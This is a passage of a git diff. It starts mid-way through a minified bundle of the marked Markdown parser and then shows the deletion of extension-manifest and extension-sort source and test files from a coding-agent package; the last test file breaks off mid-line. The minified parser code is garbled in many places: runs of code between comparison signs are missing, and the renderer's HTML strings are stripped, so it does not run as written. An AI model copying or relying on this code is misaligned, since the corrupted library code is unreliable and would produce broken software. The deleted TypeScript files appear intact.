v).getRegex(),tag:C,text:/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\":">",'"':""","'":"'"},H=e=>G[e];function X(e,t){if(t){if(i.escapeTest.test(e))return e.replace(i.escapeReplace,H)}else if(i.escapeTestNoEncode.test(e))return e.replace(i.escapeReplaceNoEncode,H);return e}function F(e){try{e=encodeURI(e).replace(i.percentDecode,"%")}catch{return null}return e}function U(e,t){const n=e.replace(i.findPipe,((e,t,n)=>{let s=!1,r=t;for(;--r>=0&&"\\"===n[r];)s=!s;return s?"|":" |"})).split(i.splitPipe);let s=0;if(n[0].trim()||n.shift(),n.length>0&&!n.at(-1)?.trim()&&n.pop(),t)if(n.length>t)n.splice(t);else for(;n.length0)return{type:"space",raw:t[0]}}code(e){const t=this.rules.block.code.exec(e);if(t){const e=t[0].replace(this.rules.other.codeRemoveIndent,"");return{type:"code",raw:t[0],codeBlockStyle:"indented",text:this.options.pedantic?e:J(e,"\n")}}}fences(e){const t=this.rules.block.fences.exec(e);if(t){const e=t[0],n=function(e,t,n){const s=e.match(n.other.indentCodeCompensation);if(null===s)return t;const r=s[1];return t.split("\n").map((e=>{const t=e.match(n.other.beginningSpace);if(null===t)return e;const[s]=t;return s.length>=r.length?e.slice(r.length):e})).join("\n")}(e,t[3]||"",this.rules);return{type:"code",raw:e,lang:t[2]?t[2].trim().replace(this.rules.inline.anyPunctuation,"$1"):t[2],text:n}}}heading(e){const t=this.rules.block.heading.exec(e);if(t){let e=t[2].trim();if(this.rules.other.endingHash.test(e)){const t=J(e,"#");this.options.pedantic?e=t.trim():t&&!this.rules.other.endingSpaceChar.test(t)||(e=t.trim())}return{type:"heading",raw:t[0],depth:t[1].length,text:e,tokens:this.lexer.inline(e)}}}hr(e){const t=this.rules.block.hr.exec(e);if(t)return{type:"hr",raw:J(t[0],"\n")}}blockquote(e){const t=this.rules.block.blockquote.exec(e);if(t){let e=J(t[0],"\n").split("\n"),n="",s="";const r=[];for(;e.length>0;){let t=!1;const i=[];let l;for(l=0;l1,r={type:"list",raw:"",ordered:s,start:s?+n.slice(0,-1):"",loose:!1,items:[]};n=s?`\\d{1,9}\\${n.slice(-1)}`:`\\${n}`,this.options.pedantic&&(n=s?n:"[*+-]");const i=this.rules.other.listItemRegex(n);let l=!1;for(;e;){let n=!1,s="",o="";if(!(t=i.exec(e)))break;if(this.rules.block.hr.test(e))break;s=t[0],e=e.substring(s.length);let a=t[2].split("\n",1)[0].replace(this.rules.other.listReplaceTabs,(e=>" ".repeat(3*e.length))),c=e.split("\n",1)[0],h=!a.trim(),p=0;if(this.options.pedantic?(p=2,o=a.trimStart()):h?p=t[1].length+1:(p=t[2].search(this.rules.other.nonSpaceChar),p=p>4?1:p,o=a.slice(p),p+=t[1].length),h&&this.rules.other.blankLine.test(c)&&(s+=c+"\n",e=e.substring(c.length+1),n=!0),!n){const t=this.rules.other.nextBulletRegex(p),n=this.rules.other.hrRegex(p),r=this.rules.other.fencesBeginRegex(p),i=this.rules.other.headingBeginRegex(p),l=this.rules.other.htmlBeginRegex(p);for(;e;){const u=e.split("\n",1)[0];let g;if(c=u,this.options.pedantic?(c=c.replace(this.rules.other.listReplaceNesting," "),g=c):g=c.replace(this.rules.other.tabCharGlobal," "),r.test(c))break;if(i.test(c))break;if(l.test(c))break;if(t.test(c))break;if(n.test(c))break;if(g.search(this.rules.other.nonSpaceChar)>=p||!c.trim())o+="\n"+g.slice(p);else{if(h)break;if(a.replace(this.rules.other.tabCharGlobal," ").search(this.rules.other.nonSpaceChar)>=4)break;if(r.test(a))break;if(i.test(a))break;if(n.test(a))break;o+="\n"+c}h||c.trim()||(h=!0),s+=u+"\n",e=e.substring(u.length+1),a=g.slice(p)}}r.loose||(l?r.loose=!0:this.rules.other.doubleBlankLine.test(s)&&(l=!0));let u,g=null;this.options.gfm&&(g=this.rules.other.listIsTask.exec(o),g&&(u="[ ] "!==g[0],o=o.replace(this.rules.other.listReplaceTask,""))),r.items.push({type:"list_item",raw:s,task:!!g,checked:u,loose:!1,text:o,tokens:[]}),r.raw+=s}const o=r.items.at(-1);if(!o)return;o.raw=o.raw.trimEnd(),o.text=o.text.trimEnd(),r.raw=r.raw.trimEnd();for(let e=0;e"space"===e.type)),n=t.length>0&&t.some((e=>this.rules.other.anyLine.test(e.raw)));r.loose=n}if(r.loose)for(let e=0;e({text:e,tokens:this.lexer.inline(e),header:!1,align:i.align[t]}))));return i}}lheading(e){const t=this.rules.block.lheading.exec(e);if(t)return{type:"heading",raw:t[0],depth:"="===t[2].charAt(0)?1:2,text:t[1],tokens:this.lexer.inline(t[1])}}paragraph(e){const t=this.rules.block.paragraph.exec(e);if(t){const e="\n"===t[1].charAt(t[1].length-1)?t[1].slice(0,-1):t[1];return{type:"paragraph",raw:t[0],text:e,tokens:this.lexer.inline(e)}}}text(e){const t=this.rules.block.text.exec(e);if(t)return{type:"text",raw:t[0],text:t[0],tokens:this.lexer.inline(t[0])}}escape(e){const t=this.rules.inline.escape.exec(e);if(t)return{type:"escape",raw:t[0],text:t[1]}}tag(e){const t=this.rules.inline.tag.exec(e);if(t)return!this.lexer.state.inLink&&this.rules.other.startATag.test(t[0])?this.lexer.state.inLink=!0:this.lexer.state.inLink&&this.rules.other.endATag.test(t[0])&&(this.lexer.state.inLink=!1),!this.lexer.state.inRawBlock&&this.rules.other.startPreScriptTag.test(t[0])?this.lexer.state.inRawBlock=!0:this.lexer.state.inRawBlock&&this.rules.other.endPreScriptTag.test(t[0])&&(this.lexer.state.inRawBlock=!1),{type:"html",raw:t[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,block:!1,text:t[0]}}link(e){const t=this.rules.inline.link.exec(e);if(t){const e=t[2].trim();if(!this.options.pedantic&&this.rules.other.startAngleBracket.test(e)){if(!this.rules.other.endAngleBracket.test(e))return;const t=J(e.slice(0,-1),"\\");if((e.length-t.length)%2==0)return}else{const e=function(e,t){if(-1===e.indexOf(t[1]))return-1;let n=0;for(let s=0;s-1){const n=(0===t[0].indexOf("!")?5:4)+t[1].length+e;t[2]=t[2].substring(0,e),t[0]=t[0].substring(0,n).trim(),t[3]=""}}let n=t[2],s="";if(this.options.pedantic){const e=this.rules.other.pedanticHrefTitle.exec(n);e&&(n=e[1],s=e[3])}else s=t[3]?t[3].slice(1,-1):"";return n=n.trim(),this.rules.other.startAngleBracket.test(n)&&(n=this.options.pedantic&&!this.rules.other.endAngleBracket.test(e)?n.slice(1):n.slice(1,-1)),K(t,{href:n?n.replace(this.rules.inline.anyPunctuation,"$1"):n,title:s?s.replace(this.rules.inline.anyPunctuation,"$1"):s},t[0],this.lexer,this.rules)}}reflink(e,t){let n;if((n=this.rules.inline.reflink.exec(e))||(n=this.rules.inline.nolink.exec(e))){const e=t[(n[2]||n[1]).replace(this.rules.other.multipleSpaceGlobal," ").toLowerCase()];if(!e){const e=n[0].charAt(0);return{type:"text",raw:e,text:e}}return K(n,e,n[0],this.lexer,this.rules)}}emStrong(e,t,n=""){let s=this.rules.inline.emStrongLDelim.exec(e);if(!s)return;if(s[3]&&n.match(this.rules.other.unicodeAlphaNumeric))return;if(!(s[1]||s[2]||"")||!n||this.rules.inline.punctuation.exec(n)){const n=[...s[0]].length-1;let r,i,l=n,o=0;const a="*"===s[0][0]?this.rules.inline.emStrongRDelimAst:this.rules.inline.emStrongRDelimUnd;for(a.lastIndex=0,t=t.slice(-1*e.length+n);null!=(s=a.exec(t));){if(r=s[1]||s[2]||s[3]||s[4]||s[5]||s[6],!r)continue;if(i=[...r].length,s[3]||s[4]){l+=i;continue}if((s[5]||s[6])&&n%3&&!((n+i)%3)){o+=i;continue}if(l-=i,l>0)continue;i=Math.min(i,i+l+o);const t=[...s[0]][0].length,a=e.slice(0,n+s.index+t+i);if(Math.min(n,i)%2){const e=a.slice(1,-1);return{type:"em",raw:a,text:e,tokens:this.lexer.inlineTokens(e)}}const c=a.slice(2,-2);return{type:"strong",raw:a,text:c,tokens:this.lexer.inlineTokens(c)}}}}codespan(e){const t=this.rules.inline.code.exec(e);if(t){let e=t[2].replace(this.rules.other.newLineCharGlobal," ");const n=this.rules.other.nonSpaceChar.test(e),s=this.rules.other.startingSpaceChar.test(e)&&this.rules.other.endingSpaceChar.test(e);return n&&s&&(e=e.substring(1,e.length-1)),{type:"codespan",raw:t[0],text:e}}}br(e){const t=this.rules.inline.br.exec(e);if(t)return{type:"br",raw:t[0]}}del(e){const t=this.rules.inline.del.exec(e);if(t)return{type:"del",raw:t[0],text:t[2],tokens:this.lexer.inlineTokens(t[2])}}autolink(e){const t=this.rules.inline.autolink.exec(e);if(t){let e,n;return"@"===t[2]?(e=t[1],n="mailto:"+e):(e=t[1],n=e),{type:"link",raw:t[0],text:e,href:n,tokens:[{type:"text",raw:e,text:e}]}}}url(e){let t;if(t=this.rules.inline.url.exec(e)){let e,n;if("@"===t[2])e=t[0],n="mailto:"+e;else{let s;do{s=t[0],t[0]=this.rules.inline._backpedal.exec(t[0])?.[0]??""}while(s!==t[0]);e=t[0],n="www."===t[1]?"http://"+t[0]:t[0]}return{type:"link",raw:t[0],text:e,href:n,tokens:[{type:"text",raw:e,text:e}]}}}inlineText(e){const t=this.rules.inline.text.exec(e);if(t){const e=this.lexer.state.inRawBlock;return{type:"text",raw:t[0],text:t[0],escaped:e}}}}class W{tokens;options;state;tokenizer;inlineQueue;constructor(t){this.tokens=[],this.tokens.links=Object.create(null),this.options=t||e.defaults,this.options.tokenizer=this.options.tokenizer||new V,this.tokenizer=this.options.tokenizer,this.tokenizer.options=this.options,this.tokenizer.lexer=this,this.inlineQueue=[],this.state={inLink:!1,inRawBlock:!1,top:!0};const n={other:i,block:j.normal,inline:N.normal};this.options.pedantic?(n.block=j.pedantic,n.inline=N.pedantic):this.options.gfm&&(n.block=j.gfm,this.options.breaks?n.inline=N.breaks:n.inline=N.gfm),this.tokenizer.rules=n}static get rules(){return{block:j,inline:N}}static lex(e,t){return new W(t).lex(e)}static lexInline(e,t){return new W(t).inlineTokens(e)}lex(e){e=e.replace(i.carriageReturn,"\n"),this.blockTokens(e,this.tokens);for(let e=0;e!!(s=n.call({lexer:this},e,t))&&(e=e.substring(s.raw.length),t.push(s),!0))))continue;if(s=this.tokenizer.space(e)){e=e.substring(s.raw.length);const n=t.at(-1);1===s.raw.length&&void 0!==n?n.raw+="\n":t.push(s);continue}if(s=this.tokenizer.code(e)){e=e.substring(s.raw.length);const n=t.at(-1);"paragraph"===n?.type||"text"===n?.type?(n.raw+="\n"+s.raw,n.text+="\n"+s.text,this.inlineQueue.at(-1).src=n.text):t.push(s);continue}if(s=this.tokenizer.fences(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.heading(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.hr(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.blockquote(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.list(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.html(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.def(e)){e=e.substring(s.raw.length);const n=t.at(-1);"paragraph"===n?.type||"text"===n?.type?(n.raw+="\n"+s.raw,n.text+="\n"+s.raw,this.inlineQueue.at(-1).src=n.text):this.tokens.links[s.tag]||(this.tokens.links[s.tag]={href:s.href,title:s.title});continue}if(s=this.tokenizer.table(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.lheading(e)){e=e.substring(s.raw.length),t.push(s);continue}let r=e;if(this.options.extensions?.startBlock){let t=1/0;const n=e.slice(1);let s;this.options.extensions.startBlock.forEach((e=>{s=e.call({lexer:this},n),"number"==typeof s&&s>=0&&(t=Math.min(t,s))})),t<1/0&&t>=0&&(r=e.substring(0,t+1))}if(this.state.top&&(s=this.tokenizer.paragraph(r))){const i=t.at(-1);n&&"paragraph"===i?.type?(i.raw+="\n"+s.raw,i.text+="\n"+s.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=i.text):t.push(s),n=r.length!==e.length,e=e.substring(s.raw.length)}else if(s=this.tokenizer.text(e)){e=e.substring(s.raw.length);const n=t.at(-1);"text"===n?.type?(n.raw+="\n"+s.raw,n.text+="\n"+s.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=n.text):t.push(s)}else if(e){const t="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(t);break}throw new Error(t)}}return this.state.top=!0,t}inline(e,t=[]){return this.inlineQueue.push({src:e,tokens:t}),t}inlineTokens(e,t=[]){let n=e,s=null;if(this.tokens.links){const e=Object.keys(this.tokens.links);if(e.length>0)for(;null!=(s=this.tokenizer.rules.inline.reflinkSearch.exec(n));)e.includes(s[0].slice(s[0].lastIndexOf("[")+1,-1))&&(n=n.slice(0,s.index)+"["+"a".repeat(s[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex))}for(;null!=(s=this.tokenizer.rules.inline.blockSkip.exec(n));)n=n.slice(0,s.index)+"["+"a".repeat(s[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);for(;null!=(s=this.tokenizer.rules.inline.anyPunctuation.exec(n));)n=n.slice(0,s.index)+"++"+n.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);let r=!1,i="";for(;e;){let s;if(r||(i=""),r=!1,this.options.extensions?.inline?.some((n=>!!(s=n.call({lexer:this},e,t))&&(e=e.substring(s.raw.length),t.push(s),!0))))continue;if(s=this.tokenizer.escape(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.tag(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.link(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.reflink(e,this.tokens.links)){e=e.substring(s.raw.length);const n=t.at(-1);"text"===s.type&&"text"===n?.type?(n.raw+=s.raw,n.text+=s.text):t.push(s);continue}if(s=this.tokenizer.emStrong(e,n,i)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.codespan(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.br(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.del(e)){e=e.substring(s.raw.length),t.push(s);continue}if(s=this.tokenizer.autolink(e)){e=e.substring(s.raw.length),t.push(s);continue}if(!this.state.inLink&&(s=this.tokenizer.url(e))){e=e.substring(s.raw.length),t.push(s);continue}let l=e;if(this.options.extensions?.startInline){let t=1/0;const n=e.slice(1);let s;this.options.extensions.startInline.forEach((e=>{s=e.call({lexer:this},n),"number"==typeof s&&s>=0&&(t=Math.min(t,s))})),t<1/0&&t>=0&&(l=e.substring(0,t+1))}if(s=this.tokenizer.inlineText(l)){e=e.substring(s.raw.length),"_"!==s.raw.slice(-1)&&(i=s.raw.slice(-1)),r=!0;const n=t.at(-1);"text"===n?.type?(n.raw+=s.raw,n.text+=s.text):t.push(s)}else if(e){const t="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(t);break}throw new Error(t)}}return t}}class Y{options;parser;constructor(t){this.options=t||e.defaults}space(e){return""}code({text:e,lang:t,escaped:n}){const s=(t||"").match(i.notSpaceStart)?.[0],r=e.replace(i.endingNewline,"")+"\n";return s?'
'+(n?r:X(r,!0))+"
\n":"
"+(n?r:X(r,!0))+"
\n"}blockquote({tokens:e}){return`
\n${this.parser.parse(e)}
\n`}html({text:e}){return e}heading({tokens:e,depth:t}){return`${this.parser.parseInline(e)}\n`}hr(e){return"
\n"}list(e){const t=e.ordered,n=e.start;let s="";for(let t=0;t\n"+s+"\n"}listitem(e){let t="";if(e.task){const n=this.checkbox({checked:!!e.checked});e.loose?"paragraph"===e.tokens[0]?.type?(e.tokens[0].text=n+" "+e.tokens[0].text,e.tokens[0].tokens&&e.tokens[0].tokens.length>0&&"text"===e.tokens[0].tokens[0].type&&(e.tokens[0].tokens[0].text=n+" "+X(e.tokens[0].tokens[0].text),e.tokens[0].tokens[0].escaped=!0)):e.tokens.unshift({type:"text",raw:n+" ",text:n+" ",escaped:!0}):t+=n+" "}return t+=this.parser.parse(e.tokens,!!e.loose),`
  • ${t}
  • \n`}checkbox({checked:e}){return"'}paragraph({tokens:e}){return`

    ${this.parser.parseInline(e)}

    \n`}table(e){let t="",n="";for(let t=0;t${s}`),"\n\n"+t+"\n"+s+"
    \n"}tablerow({text:e}){return`\n${e}\n`}tablecell(e){const t=this.parser.parseInline(e.tokens),n=e.header?"th":"td";return(e.align?`<${n} align="${e.align}">`:`<${n}>`)+t+`\n`}strong({tokens:e}){return`${this.parser.parseInline(e)}`}em({tokens:e}){return`${this.parser.parseInline(e)}`}codespan({text:e}){return`${X(e,!0)}`}br(e){return"
    "}del({tokens:e}){return`${this.parser.parseInline(e)}`}link({href:e,title:t,tokens:n}){const s=this.parser.parseInline(n),r=F(e);if(null===r)return s;let i='
    ",i}image({href:e,title:t,text:n}){const s=F(e);if(null===s)return X(n);let r=`${n}{const r=e[s].flat(1/0);n=n.concat(this.walkTokens(r,t))})):e.tokens&&(n=n.concat(this.walkTokens(e.tokens,t)))}}return n}use(...e){const t=this.defaults.extensions||{renderers:{},childTokens:{}};return e.forEach((e=>{const n={...e};if(n.async=this.defaults.async||n.async||!1,e.extensions&&(e.extensions.forEach((e=>{if(!e.name)throw new Error("extension name required");if("renderer"in e){const n=t.renderers[e.name];t.renderers[e.name]=n?function(...t){let s=e.renderer.apply(this,t);return!1===s&&(s=n.apply(this,t)),s}:e.renderer}if("tokenizer"in e){if(!e.level||"block"!==e.level&&"inline"!==e.level)throw new Error("extension level must be 'block' or 'inline'");const n=t[e.level];n?n.unshift(e.tokenizer):t[e.level]=[e.tokenizer],e.start&&("block"===e.level?t.startBlock?t.startBlock.push(e.start):t.startBlock=[e.start]:"inline"===e.level&&(t.startInline?t.startInline.push(e.start):t.startInline=[e.start]))}"childTokens"in e&&e.childTokens&&(t.childTokens[e.name]=e.childTokens)})),n.extensions=t),e.renderer){const t=this.defaults.renderer||new Y(this.defaults);for(const n in e.renderer){if(!(n in t))throw new Error(`renderer '${n}' does not exist`);if(["options","parser"].includes(n))continue;const s=n,r=e.renderer[s],i=t[s];t[s]=(...e)=>{let n=r.apply(t,e);return!1===n&&(n=i.apply(t,e)),n||""}}n.renderer=t}if(e.tokenizer){const t=this.defaults.tokenizer||new V(this.defaults);for(const n in e.tokenizer){if(!(n in t))throw new Error(`tokenizer '${n}' does not exist`);if(["options","rules","lexer"].includes(n))continue;const s=n,r=e.tokenizer[s],i=t[s];t[s]=(...e)=>{let n=r.apply(t,e);return!1===n&&(n=i.apply(t,e)),n}}n.tokenizer=t}if(e.hooks){const t=this.defaults.hooks||new ne;for(const n in e.hooks){if(!(n in t))throw new Error(`hook '${n}' does not exist`);if(["options","block"].includes(n))continue;const s=n,r=e.hooks[s],i=t[s];ne.passThroughHooks.has(n)?t[s]=e=>{if(this.defaults.async)return Promise.resolve(r.call(t,e)).then((e=>i.call(t,e)));const n=r.call(t,e);return i.call(t,n)}:t[s]=(...e)=>{let n=r.apply(t,e);return!1===n&&(n=i.apply(t,e)),n}}n.hooks=t}if(e.walkTokens){const t=this.defaults.walkTokens,s=e.walkTokens;n.walkTokens=function(e){let n=[];return n.push(s.call(this,e)),t&&(n=n.concat(t.call(this,e))),n}}this.defaults={...this.defaults,...n}})),this}setOptions(e){return this.defaults={...this.defaults,...e},this}lexer(e,t){return W.lex(e,t??this.defaults)}parser(e,t){return te.parse(e,t??this.defaults)}parseMarkdown(e){return(t,n)=>{const s={...n},r={...this.defaults,...s},i=this.onError(!!r.silent,!!r.async);if(!0===this.defaults.async&&!1===s.async)return i(new Error("marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(null==t)return i(new Error("marked(): input parameter is undefined or null"));if("string"!=typeof t)return i(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(t)+", string expected"));r.hooks&&(r.hooks.options=r,r.hooks.block=e);const l=r.hooks?r.hooks.provideLexer():e?W.lex:W.lexInline,o=r.hooks?r.hooks.provideParser():e?te.parse:te.parseInline;if(r.async)return Promise.resolve(r.hooks?r.hooks.preprocess(t):t).then((e=>l(e,r))).then((e=>r.hooks?r.hooks.processAllTokens(e):e)).then((e=>r.walkTokens?Promise.all(this.walkTokens(e,r.walkTokens)).then((()=>e)):e)).then((e=>o(e,r))).then((e=>r.hooks?r.hooks.postprocess(e):e)).catch(i);try{r.hooks&&(t=r.hooks.preprocess(t));let e=l(t,r);r.hooks&&(e=r.hooks.processAllTokens(e)),r.walkTokens&&this.walkTokens(e,r.walkTokens);let n=o(e,r);return r.hooks&&(n=r.hooks.postprocess(n)),n}catch(e){return i(e)}}}onError(e,t){return n=>{if(n.message+="\nPlease report this to https://github.com/markedjs/marked.",e){const e="

    An error occurred:

    "+X(n.message+"",!0)+"
    ";return t?Promise.resolve(e):e}if(t)return Promise.reject(n);throw n}}}const re=new se;function ie(e,t){return re.parse(e,t)}ie.options=ie.setOptions=function(e){return re.setOptions(e),ie.defaults=re.defaults,n(ie.defaults),ie},ie.getDefaults=t,ie.defaults=e.defaults,ie.use=function(...e){return re.use(...e),ie.defaults=re.defaults,n(ie.defaults),ie},ie.walkTokens=function(e,t){return re.walkTokens(e,t)},ie.parseInline=re.parseInline,ie.Parser=te,ie.parser=te.parse,ie.Renderer=Y,ie.TextRenderer=ee,ie.Lexer=W,ie.lexer=W.lex,ie.Tokenizer=V,ie.Hooks=ne,ie.parse=ie;const le=ie.options,oe=ie.setOptions,ae=ie.use,ce=ie.walkTokens,he=ie.parseInline,pe=ie,ue=te.parse,ge=W.lex;e.Hooks=ne,e.Lexer=W,e.Marked=se,e.Parser=te,e.Renderer=Y,e.TextRenderer=ee,e.Tokenizer=V,e.getDefaults=t,e.lexer=ge,e.marked=ie,e.options=le,e.parse=pe,e.parseInline=he,e.parser=ue,e.setOptions=oe,e.use=ae,e.walkTokens=ce})); diff --git a/packages/pi-coding-agent/src/core/extensions/extension-manifest.test.ts b/packages/pi-coding-agent/src/core/extensions/extension-manifest.test.ts deleted file mode 100644 index bface0ff2..000000000 --- a/packages/pi-coding-agent/src/core/extensions/extension-manifest.test.ts +++ /dev/null @@ -1,83 +0,0 @@ -// SF — Extension Manifest Tests -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { mkdirSync, mkdtempSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { describe, it } from "vitest"; -import { - readManifest, - readManifestFromEntryPath, -} from "./extension-manifest.js"; - -describe("readManifest", () => { - it("returns null for missing directory", () => { - assert.equal(readManifest("/nonexistent/path"), null); - }); - - it("returns null for directory without manifest", () => { - const dir = mkdtempSync(join(tmpdir(), "ext-manifest-")); - assert.equal(readManifest(dir), null); - }); - - it("returns null for invalid JSON", () => { - const dir = mkdtempSync(join(tmpdir(), "ext-manifest-")); - writeFileSync(join(dir, "extension-manifest.json"), "not json{{{", "utf-8"); - assert.equal(readManifest(dir), null); - }); - - it("returns null for manifest missing required fields", () => { - const dir = mkdtempSync(join(tmpdir(), "ext-manifest-")); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ id: "test", name: "test" }), - ); - assert.equal(readManifest(dir), null); - }); - - it("returns valid manifest", () => { - const dir = mkdtempSync(join(tmpdir(), "ext-manifest-")); - const manifest = { - id: "test-ext", - name: "Test Extension", - version: "1.0.0", - tier: "bundled", - requires: { platform: ">=2.29.0" }, - }; - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify(manifest), - ); - const result = readManifest(dir); - assert.equal(result?.id, "test-ext"); - assert.equal(result?.tier, "bundled"); - }); -}); - -describe("readManifestFromEntryPath", () => { - it("reads manifest from parent of entry path", () => { - const dir = mkdtempSync(join(tmpdir(), "ext-manifest-")); - const extDir = join(dir, "my-ext"); - mkdirSync(extDir); - writeFileSync( - join(extDir, "extension-manifest.json"), - JSON.stringify({ - id: "my-ext", - name: "My Extension", - version: "1.0.0", - tier: "community", - }), - ); - writeFileSync(join(extDir, "index.ts"), ""); - - const result = readManifestFromEntryPath(join(extDir, "index.ts")); - assert.equal(result?.id, "my-ext"); - assert.equal(result?.tier, "community"); - }); - - it("returns null when entry path parent has no manifest", () => { - const dir = mkdtempSync(join(tmpdir(), "ext-manifest-")); - assert.equal(readManifestFromEntryPath(join(dir, "index.ts")), null); - }); -}); diff --git a/packages/pi-coding-agent/src/core/extensions/extension-manifest.ts b/packages/pi-coding-agent/src/core/extensions/extension-manifest.ts deleted file mode 100644 index 7defd7802..000000000 --- a/packages/pi-coding-agent/src/core/extensions/extension-manifest.ts +++ /dev/null @@ -1,64 +0,0 @@ -// SF — Extension Manifest: Types and reading for extension-manifest.json -// Copyright (c) 2026 Jeremy McSpadden - -import { existsSync, readFileSync } from "node:fs"; -import { dirname, join } from "node:path"; - -// ─── Types ────────────────────────────────────────────────────────────────── - -export interface ExtensionManifest { - id: string; - name: string; - version: string; - description: string; - tier: "core" | "bundled" | "community"; - requires: { platform: string }; - provides?: { - tools?: string[]; - commands?: string[]; - hooks?: string[]; - shortcuts?: string[]; - }; - dependencies?: { - extensions?: string[]; - runtime?: string[]; - }; -} - -// ─── Validation ───────────────────────────────────────────────────────────── - -function isManifest(data: unknown): data is ExtensionManifest { - if (typeof data !== "object" || data === null) return false; - const obj = data as Record; - return ( - typeof obj.id === "string" && - typeof obj.name === "string" && - typeof obj.version === "string" && - typeof obj.tier === "string" - ); -} - -// ─── Reading ──────────────────────────────────────────────────────────────── - -/** Read extension-manifest.json from a directory. Returns null if missing or invalid. */ -export function readManifest(extensionDir: string): ExtensionManifest | null { - const manifestPath = join(extensionDir, "extension-manifest.json"); - if (!existsSync(manifestPath)) return null; - try { - const raw = JSON.parse(readFileSync(manifestPath, "utf-8")); - return isManifest(raw) ? raw : null; - } catch { - return null; - } -} - -/** - * Given an entry path (e.g. `.../extensions/browser-tools/index.ts`), - * resolve the parent directory and read its manifest. - */ -export function readManifestFromEntryPath( - entryPath: string, -): ExtensionManifest | null { - const dir = dirname(entryPath); - return readManifest(dir); -} diff --git a/packages/pi-coding-agent/src/core/extensions/extension-sort.test.ts b/packages/pi-coding-agent/src/core/extensions/extension-sort.test.ts deleted file mode 100644 index ecb7cd0b4..000000000 --- a/packages/pi-coding-agent/src/core/extensions/extension-sort.test.ts +++ /dev/null @@ -1,137 +0,0 @@ -// SF — Extension Sort Tests -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { mkdirSync, mkdtempSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { describe, it } from "vitest"; -import { sortExtensionPaths } from "./extension-sort.js"; - -function createExtDir(base: string, id: string, deps?: string[]): string { - const dir = join(base, id); - mkdirSync(dir, { recursive: true }); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - id, - name: id, - version: "1.0.0", - tier: "bundled", - requires: { platform: ">=2.29.0" }, - ...(deps ? { dependencies: { extensions: deps } } : {}), - }), - ); - writeFileSync(join(dir, "index.ts"), `export default function() {}`); - return join(dir, "index.ts"); -} - -describe("sortExtensionPaths", () => { - it("returns empty for empty input", () => { - const result = sortExtensionPaths([]); - assert.deepEqual(result.sortedPaths, []); - assert.deepEqual(result.warnings, []); - }); - - it("sorts independent extensions alphabetically", () => { - const base = mkdtempSync(join(tmpdir(), "ext-sort-")); - const pathC = createExtDir(base, "charlie"); - const pathA = createExtDir(base, "alpha"); - const pathB = createExtDir(base, "bravo"); - - const result = sortExtensionPaths([pathC, pathA, pathB]); - assert.deepEqual(result.sortedPaths, [pathA, pathB, pathC]); - assert.equal(result.warnings.length, 0); - }); - - it("sorts dependencies before dependents", () => { - const base = mkdtempSync(join(tmpdir(), "ext-sort-")); - const pathBase = createExtDir(base, "base-ext"); - const pathDependent = createExtDir(base, "dependent-ext", ["base-ext"]); - - // Pass dependent first — sort should reorder - const result = sortExtensionPaths([pathDependent, pathBase]); - assert.deepEqual(result.sortedPaths, [pathBase, pathDependent]); - assert.equal(result.warnings.length, 0); - }); - - it("handles deep dependency chains", () => { - const base = mkdtempSync(join(tmpdir(), "ext-sort-")); - const pathA = createExtDir(base, "a"); - const pathB = createExtDir(base, "b", ["a"]); - const pathC = createExtDir(base, "c", ["b"]); - - const result = sortExtensionPaths([pathC, pathB, pathA]); - assert.deepEqual(result.sortedPaths, [pathA, pathB, pathC]); - assert.equal(result.warnings.length, 0); - }); - - it("warns about missing dependencies but still loads", () => { - const base = mkdtempSync(join(tmpdir(), "ext-sort-")); - const pathExt = createExtDir(base, "my-ext", ["nonexistent"]); - - const result = sortExtensionPaths([pathExt]); - assert.equal(result.sortedPaths.length, 1); - assert.equal(result.sortedPaths[0], pathExt); - assert.equal(result.warnings.length, 1); - assert.match(result.warnings[0].message, /nonexistent.*not installed/); - }); - - it("warns about cycles but still loads both", () => { - const base = mkdtempSync(join(tmpdir(), "ext-sort-")); - const pathA = createExtDir(base, "cycle-a", ["cycle-b"]); - const pathB = createExtDir(base, "cycle-b", ["cycle-a"]); - - const result = sortExtensionPaths([pathA, pathB]); - assert.equal(result.sortedPaths.length, 2); - assert.ok(result.warnings.length > 0); - assert.ok(result.warnings.some((w) => w.message.includes("cycle"))); - }); - - it("silently ignores self-dependencies", () => { - const base = mkdtempSync(join(tmpdir(), "ext-sort-")); - const pathExt = createExtDir(base, "self-dep", ["self-dep"]); - - const result = sortExtensionPaths([pathExt]); - assert.deepEqual(result.sortedPaths, [pathExt]); - assert.equal(result.warnings.length, 0); - }); - - it("prepends extensions without manifests", () => { - const base 